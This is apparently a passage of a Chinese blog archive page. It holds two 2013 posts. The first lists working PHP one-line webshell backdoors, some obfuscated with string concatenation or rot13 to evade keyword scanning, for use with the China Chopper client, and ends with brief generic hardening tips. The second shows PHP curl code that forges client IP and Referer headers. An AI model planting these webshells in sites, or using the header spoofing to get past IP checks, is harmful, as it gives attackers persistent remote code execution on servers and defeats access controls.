);str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!最后列几个高级的PHP一句话木马后门:1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 2、 $filename=$_GET['xbid']; include ($filename); //危险的include函数,直接编译任何文件为php格式运行 3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 5、include ($uid); //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 <?php eval_r($_POST[sb])?> 程序代码 <?php @eval_r($_POST[sb])?> //容错代码 程序代码 <?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 <?$_POST['sa']($_POST['sb']);?> 程序代码 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代码 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 程序代码 <O>h=@eval_r($_POST1);</O> 程序代码 <script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!如何应对PHP一句话后门:我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:1,对PHP程序编写要有安全意识 2,服务器日志文件要经常看,经常备份 3,对每个站点进行严格的权限分配 4,对动态文件及目录经常批量安全审查 5,学会如何进行手工杀毒《即行为判断查杀》 6,时刻关注,或渗入活跃的网络安全营地 7,对服务器环境层级化处理,哪怕一个函数也可做规则
2013年08月02日
89 阅读
4 评论
0 点赞
2013-05-08
PHP利用curl伪造IP和来路
伪造的文件:1.php<? php$ch = curl_init (); curl_setopt ( $ch , CURLOPT_URL , "http://localhost/2.php" ); curl_setopt ( $ch , CURLOPT_HTTPHEADER , array ( 'X-FORWARDED-FOR:8.8.8.8' , 'CLIENT-IP:8.8.8.8' )); //构造IP curl_setopt ( $ch , CURLOPT_REFERER , "http://www.xssxss.com/" ); //构造来路 curl_setopt ( $ch , CURLOPT_HEADER , 1 ); $out = curl_exec ( $ch ); curl_close ( $ch ); ?>效果脚本2.php<? php function getClientIp () { if (! empty ( $_SERVER [ "HTTP_CLIENT_IP" ])) $ip = $_SERVER [ "HTTP_CLIENT_IP" ]; else if (! empty ( $_SERVER [ "HTTP_X_FORWARDED_FOR" ])) $ip = $_SERVER [ "HTTP_X_FORWARDED_FOR" ]; else if (! empty ( $_SERVER [ "REMOTE_ADDR" ])) $ip = $_SERVER [ "REMOTE_ADDR" ]; else $ip = "err" ; return $ip ; } echo "IP: " . getClientIp () . "" ; echo "referer: " . $_SERVER [ "HTTP_REFERER" ]; ?>
2013年05月08日
154 阅读
0 评论
0 点赞